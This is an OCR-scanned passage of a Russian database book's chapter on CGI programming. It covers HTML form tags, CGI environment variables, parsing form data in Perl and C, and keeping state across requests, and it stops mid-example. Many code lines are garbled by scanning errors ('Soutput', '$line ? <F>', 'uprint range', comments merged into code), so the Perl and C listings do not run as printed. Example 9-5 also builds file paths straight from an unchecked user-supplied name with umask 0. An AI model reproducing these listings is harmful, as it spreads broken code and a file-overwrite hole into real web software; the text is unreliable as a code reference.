• Глава №9. Программирование с использованием CGI
• Что такое CGI?
• Формы HTML
• Спецификация CGI
• Важные особенности сценариев CGI
• CGI и базы данных

Глава №9.

Программирование с использованием CGI

Включение раздела о CGI в книгу по базам данных может показаться столь же странным, как если бы в кулинарную книгу была включена глава о ремонте автомобилей. Разумеется, для того чтобы съездить в магазин за продуктами, нужен исправный автомобиль, но уместно ли об этом говорить? Полное изложение CGI и веб-программирование в целом выходят за рамки данной книги, но краткого введения в эти темы достаточно для того, чтобы расширить возможности MySQL и mSQL по представлению данных в царстве Web.

В основном эта глава предназначена тем, кто изучает базы данных, но не прочь приобрести некоторые знания и в программировании для Web. Если ваша фамилия Бернерс-Ли или Андрессен, вряд ли вы найдете здесь то, чего еще не знаете. Но даже если вы не новичок в CGI, наличие под рукой краткого справочника во время погружения в тайны MySQL и mSQL может оказаться весьма полезным.

Что такое CGI?

Как и большинство акронимов, Common Gateway Interface (CGI - общий шлюзовый интерфейс) мало что говорит по сути. Интерфейс с чем? Где этот шлюз? О какой общности речь? Чтобы ответить на эти вопросы, вернемся немного назад и бросим взгляд на WWW в целом.

Тим Бернерс-Ли, физик, работавший в CERN, придумал Web в 1990 году, хотя план возник еще в 1988. Идея состояла в том, чтобы дать исследователям в области физики элементарных частиц возможность легко и быстро обмениваться мультимедийными данными - текстом, изображениями и звуком — через Интернет. WWW состояла из трех основных частей: HTML, URL и HTTP. HTML - язык форматирования, используемый для представления содержания в Web. URL - это адрес, используемый для получения содержимого в формате HTML (или каком-либо ином) с веб-сервера. И, наконец, HTTP - это язык, который понятен веб-серверу и позволяет клиентам запрашивать у сервера документы.

Возможность пересылки через Интернет информации всех типов явилась революцией, но вскоре была обнаружена и другая возможность. Если можно переслать через Web любой текст, то почему нельзя переслать текст, созданный программой, а не взятый из готового файла? При этом открывается море возможностей. Простой пример: можно использовать программу, выводящую текущее время, так, чтобы читатель видел правильное время при каждом просмотре страницы. Несколько умных голов в National Center for Supercomputing Applications (Национальный центр разработки приложений для суперкомпьютеров -NCSA), которые создавали веб-сервер, такую возможность увидели, и вскоре появился CGI.

CGI - это набор правил, согласно которым программы на сервере могут через веб-сервер посылать данные клиентам. Спецификация CGI сопровождалась изменениями в HTML и HTTP, вводившими новую характеристику, известную как формы.

Если CGI позволяет программам посылать данные клиенту, то формы расширяют эту возможность, позволяя клиенту посылать данные для этой CGI-программы. Теперь пользователь может не только видеть текущее время, но и устанавливать часы! Формы CGI открыли дверь для подлинной интерактивности в мире Web. Распространенные приложения CGI включают в себя:

• Динамический HTML. Целые сайты могут генерироваться одной CGI-программой.
  
• Поисковые механизмы, находящие документы с заданными пользователем словами.
  
• Гостевые книги и доски объявлений, в которые пользователи могут добавлять свои сообщения.
  
• Бланки заказов.
  
• Анкеты.
  
• Извлечение информации из размещенной на сервере базы данных.
  

В последующих главах мы обсудим все эти CGI-приложения, а также и некоторые другие. Все они дают прекрасную возможность соединения CGI с базой данных, что и интересует нас в этом разделе.

Формы HTML

Прежде чем изучать особенности CGI, полезно рассмотреть наиболее часто встречающийся способ, с помощью которого конечные пользователи получают интерфейс к CGI-программам: формы HTML. Формы являются частью языка HTML, предоставляющей конечному пользователю поля различных типов. Данные, вводимые в поля, могут быть пересланы веб-серверу. Поля могут служить для ввода текста или являться кнопками, которые пользователь может нажать или отметить галочкой. Вот пример страницы HTML, содержащей форму:

<НТМL><НЕАD><ТITLЕ>Моя страница с формами</title></head>

<BODY>

<р>Это страница с формой.

<p><FORM ACTION="mycgi.cgi" METHOD=POST>

Введите свое имя: <INPUT NAME="firstname" SIZE=40><br>

<INPUT TYPE=SUBMIT VALUE="Отправить форму">

</form>

</body></html>

Данная форма создает строку длиной 40 символов, куда пользователь может ввести свое имя. Под строкой для ввода располагается кнопка, при нажатии которой данные формы передаются серверу. Ниже перечислены относящиеся к формам теги, поддерживаемые HTML 3.2 -наиболее распространенным в настоящее время стандартом. Названия тегов и атрибутов могут вводиться в любом регистре, но мы придерживаемся необязательного соглашения, согласно которому открывающие теги пишутся в верхнем регистре, а закрывающие - в нижнем.

<FORM>

Этот тег указывает на начало формы. В конце формы требуется закрывающий тег </Form> . Между тегами <FORM> допускаются три атрибута: ACTION задает URL или относительный путь к CGI-програм-ме, которой будут посланы данные; METHOD указывает метод HTTP, посредством которого будет послана форма (это может быть GET или ч POST, но мы почти всегда будем использовать POST); ENCTYPE задает метод кодирования данных (его следует использовать только при четком понимании того, что вы делаете).

<INPUT>

Предоставляет наиболее гибкий способ ввода данных пользователем. Фактически есть девять разных типов тега <INPUT> . Тип задается атрибутом TYPE. В предыдущем примере используются два тега <INPUT>: один с типом SUBMIT и другой с типом по умолчанию TEXT. Девять типов следующие:

TEXT

Поле для ввода пользователем одной строки текста.

PASSWORD

To же, что TEXT, но вводимый текст не отображается на экране.

CHECKBOX

Флажок, который пользователь может устанавливать и сбрасывать.

RADIO

Радиокнопка, которая должна объединяться еще хотя бы с одной радиокнопкой. Пользователь может выбрать только одну из них.

SUBMIT

Кнопка, при нажатии которой форма отправляется на веб-сервер.

RESET

Кнопка, при нажатии которой в форме восстанавливаются значения по умолчанию.

FILE

Аналогичен текстовому окну, но предполагает ввод имени файла, который будет отправлен на сервер.

HIDDEN

Невидимое поле, в котором могут храниться данные.

IMAGE

Аналогичен кнопке SUBMIT, но можно задать картинку для изображения на кнопке.

Кроме атрибута TYPE теги <INPUT> обычно имеют атрибут NAME, связывающий введенные в поле данные с некоторым именем. Имя и данные передаются серверу в стиле величина=значение . В предыдущем примере текстовое поле именовалось firstname . Можно использовать атрибут VALUE, чтобы присвоить полям типа TEXT, PASSWORD , FILE и HIDDEN предустановленные значения. Этот же атрибут, используемый с кнопками типа SUBMIT или RESET, выводит на них заданный текст. Поля типа RADIO и CHECKBOX можно отобразить как выставленные с помощью атрибута CHECKED без задания значения.

Атрибут SIZE используется для задания длины полей типа TEXT, PASSWORD и FILE. Атрибут MAXLENGTH можно использовать для ограничения длины вводимого текста. Атрибут SRC задает URL изображения, используемого в типе IMAGE. И наконец, атрибут ALIGN задает характер выравнивания изображения для типа IMAGE и может иметь значение TOP, MIDDLE, BOTTOM (по умолчанию), LEFT или RIGHT (вверх, в середину, вниз, влево, вправо).

<SELECT>

Этот тег обеспечивает создание меню, из пунктов которого пользователь делает выбор. Меню может быть выпадающим, в котором пользователь выбирает только один пункт, или иметь вид списка, из которого выбирается один или несколько пунктов. Каждый пункт меню задается тегом <OPTION> . Необходимо использовать закрывающий тег </select> .

Как и у тега <INPUT> , у тега <SELECT> есть атрибут NAME, указывающий на имя введенных данных. Возможно использование атрибута SIZE для определения того, сколько пунктов меню будет одновременно выводиться на экран. При отсутствии атрибута SIZE список выводится в виде выпадающего меню. Присутствие атрибута MULTIPLE указывает на возможность выбора нескольких пунктов одновременно. Тег <OPTION> имеет два атрибута. Атрибут VALUE устанавливает возвращаемое значение. Если VALUE не указан, то возвращается текст от тега <OPTION> и до конца строки. Наличие атрибута SELECTED в теге <OPTION> означает, что этот пункт выбирается по умолчанию.

<TEXTAREA>

Этот последний тег, относящийся к формам, позволяет пользователям вводить куски текста, которые будут переданы на веб-сервер. Тег <TEXTAREA> выводит окно, в которое пользователь может ввести любое число строк текста. Необходимо использовать закрывающий тег </Textarea> , и в качестве текста по умолчанию будет принят любой текст, находящийся между тегами <TEXTAREA> и </Textarea> , аналогично атрибуту VALUE для тега <INPUT> . Для тега <TEXTAREA> необходимо задать три атрибута. Атрибут МАМЕ определяет имя данных -так же, как и для других тегов форм. Атрибуты ROWS и COLS задают число строк и колонок при выводе поля на экран, но не ограничивают размер данных, вводимых пользователем.

В Примере 9-1 показано использование всех элементов форм.

Пример 9-1. Форма HTML, демонстрирующая использование различных элементов

<HTML><HEAD><TITLE>Moя вторая страница форм</TITLE>

<р>Это анкета. Пожалуйста, сообщите о себе следующие данные:

<!-Начнем форму. Мы используем метод 'POST' для передачи данных

CGI-программе с именем 'survey.cgi'

<FORM METHOD=POST ACTION="survey.cgi">

<р>Имя: <INPUT SIZE=40 NAME='name'Xbr>

<!-Это тег <INPUT>, имеющий (по умолчанию) тип 'TEXT'. Он имеет длину 40

символов, и данные получат имя 'name'

Номер социального страхования:

<INPUT TYPE=PASSWORD NAME='ssn' SIZE=20Xbr>

<!-Это тег <INPUT>, имеющий стиль 'PASSWORD', используемый для того, чтобы нельзя было подглядеть из-за спины пользователя, какое значение он ввел. Данные получат имя 'ssn', экранное поле имеет длину 20 символов.-->

Связаны ли вы сейчас с коммунистической партией или были связаны с ней ранее?

<INPUT TYPE=CHECKBOX NAME='commie' VALUE='yes'><br>

<!-Это тег <INPUT>, имеющий тип 'CHECKBOX' и использующий для данных имя 'commie'. При передаче формы с установленным флажком с именем 'commie'будет ассоциировано значение 'yes'

Пол:

<INPUT TYPE=RADIO NAME='sex' VALUE='мужской'> Мужской

<INPUT TYPE=RADIO NAME='sex' VALUE='женский'> Женский

<INPUT TYPE=RADIO NAME='sex' VALUE='отсутствует¹ CHECKED> Отсутствует<br>

<!-Три тега <INPUT> типа 'RADIO', использующие для данных имя 'sex'. Можно выбрать только один вариант из трех, и поскольку один из них предустановлен, значение будет послано, даже если пользователь не выберет ни одного из них, Посылаемое серверу значение находится в атрибуте 'VALUE' и мйжет не иметь отношения к тексту, следующему за тегом. -->

<INPUT TYPE=HIDDEN NAME="form_number" VALUE="33a">

<!-Это дополнительные данные, которые мы хотим послать серверу, но пользователю знать об этом не нужно, поэтому мы поместили их внутрь тега <INPUT> типа 'HIDDEN' -->

Пожалуйста, укажите путь к вашей любимой игре:

<INPUT TYPE=FILE NAME='game'

SIZE=40><br>

<!-Если пользователь введет правильный путь, то при подаче формы файл будет передан на веб-сервер Q именем 'game'. Это, однако, не столь опасно, как может показаться, поскольку большинство броузеров запрашивает подтверждение на передачу. -->

Ваш любимый цвет (цвета)?<br>

<SELECT NAME="color" MULTIPLE SIZE=5>

<OPTION>Красный

<OPTION>Зеленый

<OPTION>Желтый

<OPTION>Оранжевый

<OPTION VALUE="Голубой">Прелестный цвет лазурного неба

</select><br>

<!-Это пара тегов <SELECT></select>c несколькими возможностями выбора

<OPTION>. Данные получат имя 'color', можно выбрать сразу несколько пунктов, при этом на экран будут выведены все 5 одновременно. Последний пункт использует атрибут 'VALUE', чтобы передать краткий текст. -->

Опишите исчерпывающим образом общественно-политический фон романа

<I>Война и мир</I>

не более, чем в 50 словах.<br>

<TEXTAREA NAME='essay' COLS=70 ROWS=10></textarea><br>

<!-Это пара тегов <TEXTAREAx/textarea>, дающая место для ввода очерка. Данные получают имя 'essay'. Блок текста 70 символов в ширину и 10 строк в глубину. Пространство между тегами

<TEXTAREA> и </textarea>

можно использовать для образца очерка. -->

<INPUT TYPE=SUBMIT VALUE="Ввести данные">

<INPUT TYPE=RESET><!-Два тега <INPUT>типов 'SUBMIT' и 'RESET' соответственно. Кнопка 'SUBMIT' имеет переопределенную надпись 'Ввести данные ', а кнопка 'RESET' имеет надпись по умолчанию (определяемую броузером). Кликнув по кнопке 'SUBMIT', вы пошлете данные на веб-сервер, Кнопка 'RESET' восстановит данные R исходное состояние, удалив все введенные пользователем данные. -->

</form></body></html>

Единственный тип ввода, который мы здесь не использовали, - это тип IMAGE для тега <INPUT> . Можно было бы использовать его в качестве альтернативного способа отправки формы. Однако тип IMAGE редко совместим с текстовыми и не очень чуткими броузерами, поэтому благоразумно избегать его, если только ваш сайт не выполнен в насыщенном графическом стиле.

После знакомства с основами форм HTML можно приступить к изучению собственно CGI.

Спецификация CGI

Итак, что в точности представляет собой «набор правил», позволяющий CGI-программе, скажем, в Батавии, штат Иллинойс, обмениваться данными с веб-броузером во Внешней Монголии? Официальную спецификацию CGI наряду с массой других сведений о CGI можно найти на сервере NCSA по адресу http://hoohoo. ncsa.uluc.edu/ cgi/. Однако эта глава для того и существует, чтобы вам не пришлось долго путешествовать и самому ее искать.

Есть четыре способа, которыми CGI передает данные между CGI-npor-раммой и веб-сервером, а следовательно, и клиентом Web:

• Переменные окружения.
  
• Командная строка.
  
• Стандартное устройство ввода.
  
• Стандартное устройство вывода.
  

С помощью этих четырех методов сервер пересылает все данные, переданные клиентом, CGI-программе. Затем CGI-программа делает свое волшебное дело и пересылает выходные данные обратно серверу, который переправляет их клиенту.

Эти данные приводятся с прикидкой на сервер HTTP Apache. Apache - наиболее распространенный веб-сервер, работающий практически на любой платформе, включая Windows 9х и Windows NT. Однако они могут быть применимы ко всем HTTP-серверам, поддерживающим CGI. Некоторые патентованные серверы, например, от Microsoft и Netscape, могут иметь дополнительные функции или работать несколько иначе. Поскольку лицо Web продолжает изменяться с невероятной скоростью, стандарты все еще развиваются, и в будущем, несомненно, произойдут изменения. Однако, что касается CGI, то эта технология представляется устоявшейся - расплачиваться за это приходится тем, что другие технологии, такие как апплеты, ее потеснили. Все CGI-программы, которые вы напишете, используя эти сведения, почти наверное смогут работать еще долгие годы на большинстве веб-серверов.

Когда CGI-программа вызывается посредством формы — наиболее распространенного интерфейса, броузер передает серверу длинную строку, в начале которой стоит путь к CGI-программе и ее имя. Затем следуют различные другие данные, которые называются информацией пути и передаются CGI-программе через переменную окружения PATH_INFO (рис. 9-1). После информации пути следует символ «?», а за ним - данные формы, которые посылаются серверу с помощью метода HTTP GET. Эти данные становятся доступными CGI-программе через переменную окружения QUERY_STRING . Любые данные, которые страница посылает с использованием метода HTTP POST, который используется чаще всего, будут переданы CGI-программе через стандартное устройство ввода. Типичная строка, которую может получить сервер от броузера, показана на рис. 9-1. Программа с именем formread в каталоге cgi-bin вызывается сервером с дополнительной информацией пути extra/information и данными запроса choice=help - по-видимому, как часть исходного URL. Наконец, данные самой формы (текст «CGI programming» в поле «keywords») пересылаются через метод HTTP POST .

Рис. 9-1. Части строки, переданной броузером серверу

Переменные окружения

Когда сервер выполняет CGI-программу, то прежде всего передает ей некоторые данные для работы в виде переменных окружения. В спецификации официально определены семнадцать переменных, но неофициально используется значительно больше - с помощью описываемого ниже механизма, называемого HTTP_/nec/zams/n. CGI-программа

имеет доступ к этим переменным так же, как и к любым переменным среды командного процессора при запуске из командной строки. В сценарии командного процессора, например, к переменной окружения F00 можно обращаться как $F00; в Perl это обращение выглядит, как $ENV{'F00'} ; в С - getenv("F00") ; и т. д. В таблице 9-1 перечислены переменные, которые всегда устанавливаются сервером - хотя бы и в значение null. Помимо этих переменных данные, возвращаемые клиентом в заголовке запроса, присваиваются переменным вида HTTP_F00 , где F00 - имя заголовка. Например, большинство веб-броузеров включает данные о версии в заголовок с именем USEfl_AGENT . Ваша CGI-npor-рамма может получить эти данные из переменной HTTP_USER_AGENT .

Таблица 9-1. Переменные окружения CGI

Приведем пример сценария CGI на Perl, который выводит все переменные окружения, установленные сервером, а также все унаследованные переменные, такие как PATH, установленные командным процессором, запустившим сервер.

#!/usr/bin/perl -w

print << HTML;

Content-type: text/html\n\n

<HTML><HEAD><TITLE></title></head>

<BODY> <р>Переменные окружения

<P> HTML

foreach (keys %ENV) { print "$_: $ENV{$_}<br>\n"; }

print <<HTML; </body></html>

HTML

Все эти переменные могут быть использованы и даже изменены вашей CGI-программой. Однако эти изменения не затрагивают веб-сервер, запустивший программу.

Командная строка

CGI допускает передачу CGI-программе аргументов в качестве параметров командной строки, которая редко используется. Редко используется она потому, что практические применения ее немногочисленны, и мы не будем останавливаться на ней подробно. Суть в том, что если переменная окружения QUERY_STRING не содержит символа « = », то CGI-программа будет выполняться с параметрами командной строки, взятыми из QUERY_STRING . Например, http://www.myserver.com/cgi-bin/finger?root запустит finger root на www.myserver.com.

Есть две основные библиотеки, обеспечивающие CGI-интерфейс для Perl. Первая из них - cgi-lib.pl Утилита cgi-lib.pl очень распространена, поскольку в течение долгого времени была единственной имеющейся большой библиотекой. Она предназначена для работы в Perl 4, но работает и с Perl 5. Вторая библиотека, CGI.pm, более новая и во многом превосходит cgi-lib.pl. CGI.pm написана для Perl 5 и использует полностью объектно-ориентированную схему для работы с данными CGI. Модуль CGI.pm анализирует стандартное устройство ввода и переменную QUERY_STRING и сохраняет данные в объекте CGI. Ваша программа должна лишь создать новый объект CGI и использовать простые методы, такие как paramQ, для извлечения нужных вам данных. Пример 9-2 служит короткой демонстрацией того, как CGI.pm интерпретирует данные. Все примеры на Perl в этой главе будут использовать CGI.pm.

Пример 9-2. Синтаксический анализ CGI-данных на Perl

#!/usr/bin/perl -w

use CGI qw(:standard);

# Используется модуль CGI.pm. qw(:standard) импортирует

# пространство имен стандартных CGI-функций,чтобы получить

# более понятный код. Это можно делать, если в сценарии

# используется только один объект CGI.

$mycgi = new CGI; #Создать объект CGI, который будет 'шлюзом' к данным формы

@fields = $mycgi->param; # Извлечь имена всех заполненных полей формы

print header, start_html('CGI.pm test'); ft Методы 'header' и 'start_html',

# предоставляемые

# CGI.pm, упрощают получение HTML.

# 'header' выводит требуемый заголовок HTTP, a

#'start_html' выводит заголовок HTML с данным названием,

#a также тег <BODY>.

print "<р>Данные формы:<br>";

foreach (@fields) { print $_, ":",- $mycgi->param($_), "<br>"; }

# Для каждого поля вывести имя и значение, получаемое с помощью

# $mycgi->param('fieldname').

print end_html; # Сокращение для вывода завершающих тегов "</body></html>".

Обработка входных данных в С

Поскольку основные API для MySQL и mSQL написаны на С, мы не будем полностью отказываться от С в пользу Perl, но там, где это уместно, приведем несколько примеров на С. Есть три широко используемые С-библиотеки для CGI-программирования: cgic Тома Бу-телла (Tom Boutell)*; cgihtml Юджина Кима (Eugene Kim)t и libcgi от EIT*. Мы полагаем, что cgic является наиболее полной и простой в использовании. В ней, однако, недостает возможности перечисления всех переменных формы, когда они не известны вам заранее. На самом деле, ее можно добавить путем простого патча, но это выходит за рамки данной главы. Поэтому в примере 9-3 мы используем библиотеку cgihtml, чтобы повторить на С приведенный выше сценарий Perl.

Пример 9-3. Синтаксический анализ CGI-данных на С

/* cgihtmltest.c - Типовая CGI-программа для вывода ключей и их значений

из данных, полученных от формы */

#include <stdio.h>

#include "cgi-lib.h" /* Здесь содержатся все определения функций СGI */

#include "html-lib.h" /* Здесь содержатся' все определения вспомогательных функций для HTML */

void print_all(llist 1)

/* Эти функции выводят данные, переданные формой, в том же формате, что и приведенный выше сценарий Perl. Cgihtml предоставляет также встроенную функцию

print_entries(), которая делает то же самое, используя формат списка HTML. */ {

node* window;

/* Тип 'node' определен в библиотеке cgihtml и ссылается на связанный список, в котором хранятся все данные формы. */

window = I.head; /* Устанавливает указатель на начало данных формы */

while (window != NULL) { /* Пройти по связанному списку до последнего (первого пустого) элемента */

printf(" %s:%s<br>\n",window->entry. name,replace_ltgt(window->entry.value));

/* Вывести данные. Replace__ltgt() - функция, понимающая HTML-кодировку текста и обеспечивающая его правильный вывод на броузер клиента. */

window = window->next; /* Перейти к следующему элементу списка. */

} }

int main() {

llist entries; /* Указатель на проанализированные данные*/

int status; /* Целое число, представляющее статус */

html__header(); /* Вспомогательная функция HTML, выводящая заголовок HTML*/

html_begin("cgihtml test");

/* Вспомогательная функция HTML, выводящая начало страницы HTML с указанным заголовком. */

status = read_cgi_input(&entries); /* Производит ввод и синтаксический анализ данных формы*/

printf("<р>Данные формы:<br>");

print_all(entries); /* Вызывает определенную выше функцию print_all(). */

html_end(); /* Вспомогательная функция HTML, выводящая конец страницы HTML. */

list_clear(&entries); /* Освобождает память, занятую данными формы. */

return 0; }

Стандартное устройство вывода

Данные, посылаемые CGI-программой на стандартное устройство вывода, читаются веб-сервером и отправляются клиенту. Если имя сценария начинается с nph-, то данные посылаются прямо клиенту без вмешательства со стороны веб-сервера. В этом случае CGI-программа должна сформировать правильный заголовок HTTP, который будет понятен клиенту. В противном случае предоставьте веб-серверу сформировать HTTP-заголовок за вас.

Даже если вы не используете nph-сценарий, серверу нужно дать одну директиву, которая сообщит ему сведения о вашей выдаче. Обычно это HTTP-заголовок Content-Type , но может быть и заголовок Location . За заголовком должна следовать пустая строка, то есть перевод строки или комбинация CR/LF.

Заголовок Content-Type сообщает серверу, какого типа данные выдает ваша CGI-программа. Если это страница HTML, то строка должна быть Content-Type: text/html. Заголовок Location сообщает серверу другой URL - или другой путь на том же сервере, - куда нужно направить клиента. Заголовок должен иметь следующий вид: Location: http:// www. myserver. com/another/place/.

После заголовков HTTP и пустой строки можно посылать собственно данные, выдаваемые вашей программой, - страницу HTML, изображение, текст или что-либо еще. Среди CGI-программ, поставляемых с сервером Apache, есть nph-test-cgi и test-cgi, которые хорошо демонстрируют разницу между заголовками в стилях nph и не-nph, соответственно.

В этом разделе мы будем использовать библиотеки CGI.pm и cgic, в которых есть функции для вывода заголовков как HTTP, так и HTML. Это позволит вам сосредоточиться на выводе собственно содержания. Эти вспомогательные функции использованы в примерах, приведенных ранее в этой главе.

Важные особенности сценариев CGI

Вы уже знаете, в основном, как работает CGI. Клиент посылает данные, обычно с помощью формы, веб-серверу. Сервер выполняет CGI-программу, передавая ей данные. CGI-программа осуществляет свою обработку и возвращает свои выходные данные серверу, который передает их клиенту. Теперь от понимания того, как работают CGI-npor-раммы, нужно перейти к пониманию того, почему они так широко используются.

Хотя вам уже достаточно известно из этой главы, чтобы собрать простую работающую CGI-программу, нужно разобрать еще несколько важных вопросов, прежде чем создавать реально работающие программы для MySQL или mSQL. Во-первых, нужно научиться работать с несколькими формами. Затем нужно освоить некоторые меры безопасности, которые помешают злоумышленникам получить незаконный доступ к файлам вашего сервера или уничтожить их.

Запоминание состояния

Запоминание состояния является жизненно важным средством предоставления хорошего обслуживания вашим пользователям, а не только служит для борьбы с закоренелыми преступниками, как может показаться. Проблема вызвана тем, что HTTP является так называемым протоколом «без памяти». Это значит, что клиент посылает данные серверу, сервер возвращает данные клиенту, и дальше каждый идет своей дорогой. Сервер не сохраняет о клиенте данных, которые могут понадобиться в последующих операциях. Аналогично, нет уверенности, что клиент сохранит о совершенной операции какие-либо данные, которые можно будет использовать позднее. Это накладывает непосредственное и существенное ограничение на использование World Wide Web.

Рис. 9-2. Множественные запросы форм

Составление сценариев CGI при таком протоколе аналогично неспособности запоминать разговор. Всякий раз, разговаривая с кем-либо, независимо от того, как часто вы общались с ним раньше, вам приходится представляться и искать общую тему для разговора. Нет нужды объяснять, что это не способствует продуктивности. Рисунок 9-2 показывает, что всякий раз, когда запрос достигает программы CGI, это совершенно новый экземпляр программы, не имеющий связи с предыдущим.

В части клиента с появлением Netscape Navigator появилось выглядящее наспех сделанным решение под названием cookies. Оно состоит в создании нового HTTP-заголовка, который можно пересылать туда-сюда между клиентом и сервером, похожего на заголовки Content-Type и Location. Броузер клиента, получив заголовок cookie, должен сохранить в cookie данные, а также имя домена, в котором действует этот cookie. После этого всякий раз при посещении URL в пределах указанного домена заголовок cookie должен возвращаться серверу для использования в CGI-программах на этом сервере.

Метод cookie используется в основном для хранения идентификатора пользователя. Сведения о посетителе можно сохранить в файле на машине сервера. Уникальный ID этого пользователя можно послать в качестве cookie броузеру пользователя, после чего при каждом посещении сайта пользователем броузер автоматически посылает серверу этот ID. Сервер передает ID программе CGI, которая открывает соответствующий файл и получает доступ ко всем данным о пользователе. Все это происходит незаметным для пользователя образом.

Несмотря на всю полезность этого метода, большинство больших сайтов не использует его в качестве единственного средства запоминания состояния. Для этого есть ряд причин. Во-первых, не все броузеры поддерживают cookie. До недавнего времени основной броузер для людей с недостаточным зрением (не говоря уже о людях с недостаточной скоростью подключения к сети) - Lynx - не поддерживал cookie. «Официально» он до сих пор их не поддерживает, хотя это делают некоторые его широко доступные «боковые ветви». Во-вторых, что более важно, cookie привязывают пользователя к определенной машине. Одним из великих достоинств Web является то, что она доступна из любой точки света. Независимо от того, где была создана или где хранится ваша веб-страница, ее можно показать с любой подключенной к Интернет машины. Однако если вы попытаетесь получить доступ к поддерживающему cookie сайту с чужой машины, все ваши персональные данные, поддерживавшиеся с помощью cookie, будут утрачены.

Многие сайты по-прежнему используют cookie для персонализации страниц пользователей, но большинство дополняет их традиционным интерфейсом в стиле «имя регистрации/пароль». Если доступ к сайту осуществляется из броузера, не поддерживающего cookie, то страница содержит форму, в которую пользователь вводит имя регистрации и пароль, присвоенные ему при первом посещении сайта. Обычно эта форма маленькая и скромная, чтобы не отпугивать большинство пользователей, не заинтересованных ни в какой персонализации, а просто желающих пройти дальше. После ввода пользователем в форму имени регистрации и пароля CGI находит файл с данными об этом пользователе, как если бы имя посылалось с cookie. Используя этот метод, пользователь может регистрироваться на персонализированном веб-сайте из любой точки света.

Помимо задач учета предпочтений пользователя и длительного хранения сведений о нем можно привести более тонкий пример запоминания состояния, который дают популярные поисковые машины. Осуществляя поиск с помощью таких служб, как AltaVista или Yahoo, вы обычно получаете значительно больше результатов, чем можно отобразить в удобном для чтения виде. Эта проблема решается тем, что показывается небольшое количество результатов - обычно 10 или 20 - и дается какое-либо средство перемещения для просмотра следующей группы результатов. Хотя обычному путешественнику по Web такое поведение кажется обычным и ожидаемым, действительная его реализация нетривиальна и требует запоминания состояния.

Когда пользователь впервые делает запрос поисковому механизму, тот собирает все результаты, возможно, ограничиваясь некоторым предустановленным предельным количеством. Фокус состоит в том, чтобы выдавать эти результаты одновременно в небольшом количестве, запомнив при этом, что за пользователь запрашивал эти результаты и какую порцию он ожидает следующей. Оставляя в стороне сложности самого поискового механизма, мы встаем перед проблемой последовательного предоставления пользователю некоторой информации по одной странице. Рассмотрим пример 9-4, в котором показан сценарий CGI, выводящий десять строк файла и предоставляющий ему возможность просмотреть следующие или предыдущие десять строк.

Пример 9-4. Сохранение состояния в сценарии CGI

#!/usr/bin/perl -w

use CGI;

open(F,"/usr/dict/words") or die("He могу открыть! $!");

#Это файл, который будет выводиться, может быть любым.

$output = new CGI;

sub print_range { # Это главная функция программы, my $start = shift;

# Начальная строка файла, my $count = 0;

# Указатель, my $line = "";

# Текущая строка файла, print $output->header,

$output->start_html('Moй словарь');

# Создает HTML с заголовком 'Мой словарь', print "<pro>\n";

while (($count < $start) and ($line = <F>)) { $count++; }

# Пропустить все строки перед начальной, while (($count < $start+10) and ($line ? <F>) ) { print $line; $count++; }

# Напечатать очередные 10 строк.

my $newnext = $start+10; my $newprev = $start-10;

# Установить начальные строки для URL 'Next' и 'Previous',

print "</pre><p>";

unless ($start == 0) { # Включить URL 'Previous', если только вы

# уже не в начале .

print qq%<a href="read.cgi?start=$newprev">Previous</a>%; }

unless (eof) { # Включить URL 'Next', если только вы # не в конце файла.

print qq% <a href="read.cgi?start=$newnext">Next</a>%;

}

print «HTML; </body><html> HTML

exit(0); }

# Если данных нет, начать сначала,

if (not $output->param) {

&print_range(0); }

# Иначе начать со строки, указанной в данных.

&print_range($output->param('start'));

В этом примере запоминание состояния производится с помощью простейшего метода. Проблемы с сохранением данных нет, поскольку мы держим их в файле на сервере. Нам нужно только знать, откуда начать вывод, поэтому сценарий просто включает в URL начальную точку для следующей или предыдущей группы строк - все, что необходимо для генерации очередной страницы.

Однако если вам требуется нечто большее, чем возможность просто листать "файл, то полагаться на URL бывает обременительно. Облегчить эту трудность можно через использование формы HTML и включение данных о состоянии в теги <INPUT> типа HIDDEN. Этот метод с успехом используется на многих сайтах, позволяя делать ссылки между взаимосвязанными CGI-программами или расширяя возможности использования одной CGI-программы, как в предыдущем примере. Вместо ссылки на определенный объект, такой как начальная страница, данные URL могут указывать на автоматически генерируемый ID пользователя.

Так работают AltaVista и другие поисковые машины. При первом поиске генерируется ID пользователя, который скрыто включается в последующие URL. С этим ID связаны один или несколько файлов, содержащих результаты запроса. В URL включаются еще две величины: текущее положение в файле результатов и направление, в котором вы хотите перемещаться в нем дальше. Эти три значения — все, что нужно для работы мощных систем навигации больших поисковых машин.

- Впрочем, не хватает еще кое-чего. Использовавшийся в нашем примере файл /usr/diet/words очень велик. Что если на середине чтения мы его бросим, но захотим вернуться к нему позднее? Если не запомнить URL следующей страницы, никакого способа вернуться назад нет, даже AltaVista это не позволит. Если вы перезагрузите свой компьютер или станете работать с другого, невозможно вернуться к результатам прежнего поиска, не вводя заново запрос. Однако такое долговременное запоминание состояния лежит в основе персонализации вебсайтов, о которой мы говорили выше, и стоит посмотреть, как им можно воспользоваться. Пример 9-5 является модифицированным вариантом примера 9-4.

Пример 9-5. Устойчивое запоминание состояния

#!/usr/bin/perl -w

use CGI;

umask 0;

open(F,"/usr/dict/words") or die("He могу открыть! $!");

chdir("users") or die("He могу перейти в каталог $!");

# Это каталог, где будут храниться все данные

# о пользователе.

Soutput = new CGI;

if (not$output->param) {

print $output->header,

$output->start_html('Мой словарь');

print «HTML;

<FORM ACTION="read2.cgi" METHOD=POST>

<р>Введите свое имя пользователя:

<INPUT NAME="username" SIZE=30>

<P>

</formx/body></html> HTML

exit(0); }

$user = $output->param('username');

## Если файла пользователя нет, создать его и установить

## начальное значение в '0',

if ( not -e "$user" ) {

open (U, ">$user") or die("He могу открыть! $!");

print U "0\n";

close U;

&print_range('0');

## если пользователь существует и в URL не задано

## начальное значение, прочесть последнее значение и начать с него.

} elsif ( not $output->param('start') ) {

open(U,"Suser") or die("He могу открыть пользователя! $!");

$start = <U>; close U;

chomp $starl;

uprint range($start);

## Если пользователь существует и в URL не указано

## начальное значение, записать начальное значение

## в файл пользователя и начать вывод.

} else{

open(U,">$user") or die("He могу открыть пользователя для записи! $!");

print U $output->param('start'), "\n";

close U;

&print_range($output->param('start¹)); }

sub print_range {

my $start = shift;

my $count = 0;

my $line = " "

print $output->header,

$output->start_html(' Мой словарь ');

print "<pre>\n";

while (($count < $start) and ($line = <F>)) { $count++; }

while (($count < $start+10) and ($line = <F>) )

{

print $line; $count++;

}

my $newnext = $start+10;

my $newprev = $start-10;

print "</pre><p>";

unless (Sstart == 0)

{

print

qq%<a href="read2.cgi?start=$newprev&username=$user">

Previous</a>%;

}

unless (eof) { print qq% <a href="read2.cgi?start=$newnext&username=$user">Next</a>%;

